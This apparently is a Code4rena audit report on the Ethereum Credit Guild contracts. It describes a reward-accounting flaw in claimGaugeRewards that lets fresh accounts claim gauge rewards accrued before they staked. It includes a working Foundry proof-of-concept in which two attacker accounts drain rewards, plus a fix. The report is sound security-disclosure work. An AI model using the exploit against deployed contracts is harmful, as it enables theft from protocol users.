# Results => Duplicate of 1194

# High Severity

## Title
Users can steal all the GaugeRewards by transfering their GAUGE Tokens among different accounts of their own and in each account claiming rewards

## Impact
- All the GaugeRewards for all the gauges can be stolen by a single user.
- A side effect of this vulnerability is that the ProfitManager will have fewer CreditTokens in its balance than the expected amount, as a consequence of this, the internal account will be messed up and can potentially lead to breaking Terms causing them no to be able to realize bad debts because there are not enough CreditTokens in the contract to be burnt when bad debt occurs.


## Proof of Concept
There are two parts of the codebase to understand how the exploit is possible, the first one is in the [`ProfitManager::claimGaugeRewards()` function](https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L409-L436), and the second one is [when incrementing the gauge weight in the GUILD Token](https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/GuildToken.sol#L242-L261). Let's analyze the first one. 
- This vulnerability is present in the [`ProfitManager::claimGaugeRewards()` function](https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L409-L436), the problem is that the function reads the current userGaugeWeight, but it doesn't consider by how much time the user has been providing weight to the gauge. That means, if rewards have been generated based on the total gauge weight provided by multiple users, any GUILD holder can increase his gaugeWeight on the gauge that generated rewards and call the claimGaugeRewards to claim the equivalent rewards for the amount of weight that just increased in the gauge, the problem is, this user was not providing weight to the gauge when the rewards were generated.
- The current logic to prevent users from claiming rewards multiple times is by setting the value of the variable `userGaugeProfitIndex[user][gauge]` to equal than the `gaugeProfitIndex[gauge]` variable, and each time the claimGaugeRewards is called, the delta between those two variables is computed, and if there is any difference, that difference (delta) alongside the userGaugeWeight are used to compute the rewards that the user can claim, the reason is that the `gaugeProfitIndex[gauge]` is increased each time new rewards are generated for the gauge.

Now, let's analyze the second part of the exploit when incrementing weight in a gauge the users call the [`incrementGauge() function`](https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/ERC20Gauges.sol#L219-L247), which internally will attempt to claimGaugeRewards from the profitManager, and then it will proceed to update all the variables related to weight.
- If a user has 0 weight on the gauge where the weight is being incremented, the `ProfitManager::claimGaugeRewards()` function will practically not do anything, it will just return a 0 and the execution will proceed to update the storage to reflect how much weight was added.
  - After the weight is increased in the gauge, the user will proceed to call the `ProfitManager::claimGaugeRewards()`, and this time the user's weight will be != 0, thus, the function will proceed to compute how many rewards the userGaugeWeight claim from the GaugeRewards and will send them to the user.

- Now, putting the two parts explained above we have that, accounts that have never had weight and have not claimed gauge rewards will have the `userGaugeProfitIndex[user][gauge]` set to 0, which will allow new accounts as soon as they add some weight to the gauge, to claim rewards that the gauge generated in the past.

- This vulnerability is exploited by transferring the GUILD balance from one account to another account, incrementing the gauge weight with the received balance claiming the gauge rewards that the balance can claim, and repeating this process with new accounts until all the GaugeRewards have been drained.

- Let's do a codewalkthrough before getting to the coded PoC.

> ProfitManager.sol
```solidity
function claimGaugeRewards(
    address user,
    address gauge
) public returns (uint256 creditEarned) {
    //@audit-info => Reads the user's weight put in the specified gauge!
    uint256 _userGaugeWeight = uint256(
        GuildToken(guild).getUserGaugeWeight(user, gauge)
    );

    //@audit-info => If the user has not put GUILD tokens in the specified gauge it can't claim!
    //@audit-issue => Note how the function only returns 0 when the userGaugeWeight is 0, but it doesn't update anything, this is exactly the reason for the exploit!!!
    if (_userGaugeWeight == 0) {
        return 0;
    }

    //@audit-info => Prevent users from claiming multiple times rewards if no new rewards have been generated!
    uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];

    //@audit-info => For users who have never claimed rewards, this is 0
    //@audit-info => For users who have already claimed rewards, this is the value of the last gaugeProfitIndex
    uint256 _userGaugeProfitIndex = userGaugeProfitIndex[user][gauge];
    if (_gaugeProfitIndex == 0) {
        _gaugeProfitIndex = 1e18;
    }
    if (_userGaugeProfitIndex == 0) {
        _userGaugeProfitIndex = 1e18;
    }
    //@audit-info => If a user has claimed rewards and no new rewards have been generated, deltaIndex will be 0!
    uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex;
    if (deltaIndex != 0) {
        //@audit-ok => The _gaugeProfitIndex indicates how many rewards can be claimed per each userGaugeWeight!
        //@audit-ok => The bigger the userGaugeWeight, the bigger the rewards to claim!
        creditEarned = (_userGaugeWeight * deltaIndex) / 1e18;
        //@audit-info => Sets userGaugeProfitIndex to be gaugeProfitIndex, in this way, it prevents the same user from claiming multiple times the rewards from the gauge if no rewards have been generated!
        userGaugeProfitIndex[user][gauge] = _gaugeProfitIndex;
    }
    //@audit-ok => If the user has earned rewards, send them from this contract to the user's account!
    if (creditEarned != 0) {
        emit ClaimRewards(block.timestamp, user, gauge, creditEarned);
        CreditToken(credit).transfer(user, creditEarned);
    }
}
```

> GuildToken.sol
```solidity
function _incrementGaugeWeight(
    address user,
    address gauge,
    uint256 weight
) internal override {
    ...
    ...
    ...

    //@audit-info => Before updating the storage related to the user and gauge weights, the incrementGaugeWeight() will call the ProfitManager::claimGaugeRewards()
    //@audit-issue => For accounts that have 0 weight in the gauge, the claimGaugeRewards() will only return 0, and the incrementGaugeWeight() will proceed to increment the user weight on the gauge
    //@audit-issue => After the user has incremented his gaugeWeight, it will proceed to call the ProfitManager::claimGaugeRewards(), this time, the user has weight in the gauge, and the value of the `userGaugeProfitIndex[user][gauge]` is 0, thus, the delta between `gaugeProfitIndex[gauge]` - `userGaugeProfitIndex[user][gauge]` will allow the user to claim rewards that were generated before the user added weight to the gauge!
    ProfitManager(profitManager).claimGaugeRewards(user, gauge);

    super._incrementGaugeWeight(user, gauge, weight);
}
```

### Coded PoC
Let's proceed to run a PoC to demonstrate this exploit. The exploit demonstrates how a single user by transferring his GUILD tokens among different accounts can continuously claim GaugeRewards that were generated before the user added weight to the gauge.
  - Yes, this vulnerability is fully exploited when transfers are enabled, nevertheless, the transfers are paused at the deployment of the protocol to allow the protocol to generate a good buffer of earnings, so, in the future, when the protocol goes to phase 2 approaching to their decentralized vision, the transfers will be enabled, as a consequence, the exploit will open the doors to malicious users to steal all the GaugeRewards from all the gauges.

> ProfitManager.t.sol
```solidity
...
...
...

//@audit-info => Let's import the console2.sol package
import "@test/forge-std/src/console2.sol";

contract ProfitManagerUnitTest is Test {
    ...
    ...
    ...

    //@audit-info => Let's add the below function to the test file ProfitManager.t.sol
    function testClaimGaugeRewardsMultipleTimesPoC() public {
        // grant roles to test contract
        vm.startPrank(governor);
        core.grantRole(CoreRoles.GOVERNOR, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        vm.stopPrank();

        // setup
        // 50-50 profit split between GUILD & CREDIT
        // 150 CREDIT circulating (100 rebasing on test contract, 50 non rebasing on alice)
        // 550 GUILD, 500 voting in gauges :
        //   - 50 on gauge1 (alice)
        //   - 250 on gauge2 (50 alice, 200 bob)
        //   - 200 on gauge3 (200 bob)
        credit.mint(alice, 50e18);
        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0, // surplusBufferSplit
            0.5e18, // creditSplit
            0.5e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );
        guild.setMaxGauges(3);
        guild.addGauge(1, gauge1);
        guild.addGauge(1, gauge2);
        guild.addGauge(1, gauge3);
        guild.mint(alice, 150e18);
        guild.mint(bob, 400e18);
        vm.startPrank(alice);
        guild.incrementGauge(gauge1, 50e18);
        guild.incrementGauge(gauge2, 50e18);
        vm.stopPrank();
        vm.startPrank(bob);
        guild.incrementGauge(gauge2, 200e18);
        guild.incrementGauge(gauge3, 200e18);
        vm.stopPrank();

        // simulate 20 profit on gauge1
        // 10 goes to alice (guild voting)
        // 10 goes to test (rebasing credit)
        credit.mint(address(profitManager), 20e18);
        profitManager.notifyPnL(gauge1, 20e18);
        vm.warp(block.timestamp + credit.DISTRIBUTION_PERIOD());
        assertEq(profitManager.claimRewards(alice), 10e18);
        assertEq(profitManager.claimRewards(bob), 0);
        assertEq(credit.balanceOf(address(this)), 110e18);
    
        // simulate 50 profit on gauge2
        // 5 goes to alice (guild voting)
        // 20 goes to bob (guild voting)
        // 25 goes to test (rebasing credit)
        credit.mint(address(profitManager), 50e18);
        profitManager.notifyPnL(gauge2, 50e18);
        vm.warp(block.timestamp + credit.DISTRIBUTION_PERIOD());
        assertEq(profitManager.claimRewards(alice), 5e18);
        assertEq(profitManager.claimRewards(bob), 20e18);
        assertEq(credit.balanceOf(address(this)), 135e18);

        // check the balances are as expected
        assertEq(credit.balanceOf(alice), 50e18 + 15e18);
        assertEq(credit.balanceOf(bob), 20e18);
        assertEq(credit.totalSupply(), 220e18);

        // simulate 100 profit on gauge2 + 100 profit on gauge3
        // 10 goes to alice (10 guild voting on gauge2)
        // 90 goes to bob (40 guild voting on gauge2 + 50 guild voting on gauge3)
        // 100 goes to test (50+50 for rebasing credit)
        credit.mint(address(profitManager), 100e18);
        profitManager.notifyPnL(gauge2, 100e18);
        credit.mint(address(profitManager), 100e18);
        profitManager.notifyPnL(gauge3, 100e18);
        vm.warp(block.timestamp + credit.DISTRIBUTION_PERIOD());
        //assertEq(profitManager.claimRewards(alice), 10e18);
        vm.prank(alice);
        guild.incrementGauge(gauge2, 50e18); // should claim her 10 pending rewards in gauge2
        assertEq(profitManager.claimRewards(bob), 90e18);
        assertEq(credit.balanceOf(address(this)), 235e18);

        // check the balances are as expected
        assertEq(credit.balanceOf(alice), 50e18 + 15e18 + 10e18);
        assertEq(credit.balanceOf(bob), 20e18 + 90e18);
        assertEq(credit.totalSupply(), 220e18 + 200e18);


        // gauge2 votes are now 100 alice, 200 bob
        // simulate 300 profit on gauge2
        // 50 goes to alice (guild voting)
        // 100 goes to bob (guild voting)
        // 150 goes to test (rebasing credit)
        credit.mint(address(profitManager), 300e18);
        profitManager.notifyPnL(gauge2, 300e18);
        vm.warp(block.timestamp + credit.DISTRIBUTION_PERIOD());
        // assertEq(profitManager.claimRewards(alice), 50e18);
        vm.prank(alice);
        guild.decrementGauge(gauge2, 100e18); // should claim her 50 pending rewards in gauge2

        //@audit-info => Enable transfer of GuildTokens
        vm.prank(governor);
        guild.enableTransfer();

        address attacker1 = vm.addr(10);
        //@audit-info => Attacker1 can't claim any rewards before receiving the GUILD balance and increasing the weight on the gauge 
        assertEq(profitManager.claimRewards(attacker1), 0);
        console2.log("Attacker1 CreditToken balance before stealing the GaugeRewards:" , credit.balanceOf(attacker1));
        console2.log("Attacker1 claimable GaugeRewards before performing the exploit:" , profitManager.claimRewards(attacker1));

        vm.prank(alice);
        guild.transfer(attacker1,50e18);

        vm.prank(attacker1);
        guild.incrementGauge(gauge2, 50e18);
        //@audit-info => Once attacker1 has increased his weight on the gauge can proceed to claimRewards that were generated before
        assertGt(profitManager.claimRewards(attacker1), 0);

        address attacker2 = vm.addr(20);
        //@audit-info => Attacker2 can't claim any rewards before receiving the GUILD balance and increasing the weight on the gauge 
        assertEq(profitManager.claimRewards(attacker2), 0);
        console2.log("Attacker2 CreditToken balance before stealing the GaugeRewards:" , credit.balanceOf(attacker2));
        console2.log("Attacker2 claimable GaugeRewards before performing the exploit:" , profitManager.claimRewards(attacker2));

        vm.prank(attacker1);
        guild.transfer(attacker2,50e18);

        vm.prank(attacker2);
        guild.incrementGauge(gauge2, 50e18);
        //@audit-info => Once attacker2 has increased his weight on the gauge can proceed to claimRewards that were generated before
        assertGt(profitManager.claimRewards(attacker2), 0);

        console2.log("Attacker1 CreditToken balance after stealing the GaugeRewards:" , credit.balanceOf(attacker1));
        console2.log("Attacker2 CreditToken balance after stealing the GaugeRewards:" , credit.balanceOf(attacker2));
    }
    ...
    ...
    ...
}

```


- Now, let's run the PoC with the next command `forge test --match-test testClaimGaugeRewardsMultipleTimesPoC -vvv`. The expected output should as the one below:
```
Running 1 test for test/unit/governance/ProfitManager.t.sol:ProfitManagerUnitTest
[PASS] testClaimGaugeRewardsMultipleTimesPoC() (gas: 2367526)
Logs:
  Attacker1 CreditToken balance before stealing the GaugeRewards: 0
  Attacker1 claimable GaugeRewards before performing the exploit: 0
  Attacker2 CreditToken balance before stealing the GaugeRewards: 0
  Attacker2 claimable GaugeRewards before performing the exploit: 0
  Attacker1 CreditToken balance after stealing the GaugeRewards: 40000000000000000000
  Attacker2 CreditToken balance after stealing the GaugeRewards: 40000000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.96ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


## Tools Used
Manual Audit

## Recommended Mitigation Steps
- The fix to prevent this issue is to whenever the [`ProfitManager::claimGaugeRewards()` function](https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L409-L436) is called and the userGaugeWeight is 0, make sure to set the `userGaugeProfitIndex[user][gauge]` to equal to `gaugeProfitIndex[gauge]`, by doing this, the ProfitManager contract is preventing that new accounts can't claim rewards that were accrued before the existing GaugeRewards were generated.
  - By setting the `userGaugeProfitIndex[user][gauge]` to be equal to `gaugeProfitIndex[gauge]`, after the user has added the weight to the gauge if the user attempts to claim rewards with the just recently added weight, the computed delta in the `ProfitManager::claimGaugeRewards()` will be 0 because the weight that the user added has not yet earned any GaugeRewards.

> ProfitManager.sol
```solidity
function claimGaugeRewards(
    address user,
    address gauge
) public returns (uint256 creditEarned) {
    //@audit-info => Reads the user's weight put in the specified gauge!
    uint256 _userGaugeWeight = uint256(
        GuildToken(guild).getUserGaugeWeight(user, gauge)
    );

    //@audit-info => If the user has not put GUILD tokens in the specified gauge it can't claim!
    if (_userGaugeWeight == 0) {
        //@audit-recommendation => Set the `userGaugeProfitIndex[user][gauge]` to be equals to `gaugeProfitIndex[gauge]`
        //@audit-recommendation => In this way, the next time the user calls the claimGaugeRewards() function, if the user adds weight to the gauge, it won't be able to claim GaugeRewards that were generated before, it will be able to claim rewards only from the time the weight was added and onwards!
        userGaugeProfitIndex[user][gauge] = gaugeProfitIndex[gauge];
        return 0;
    }
    ...
    ...
    ...
}
```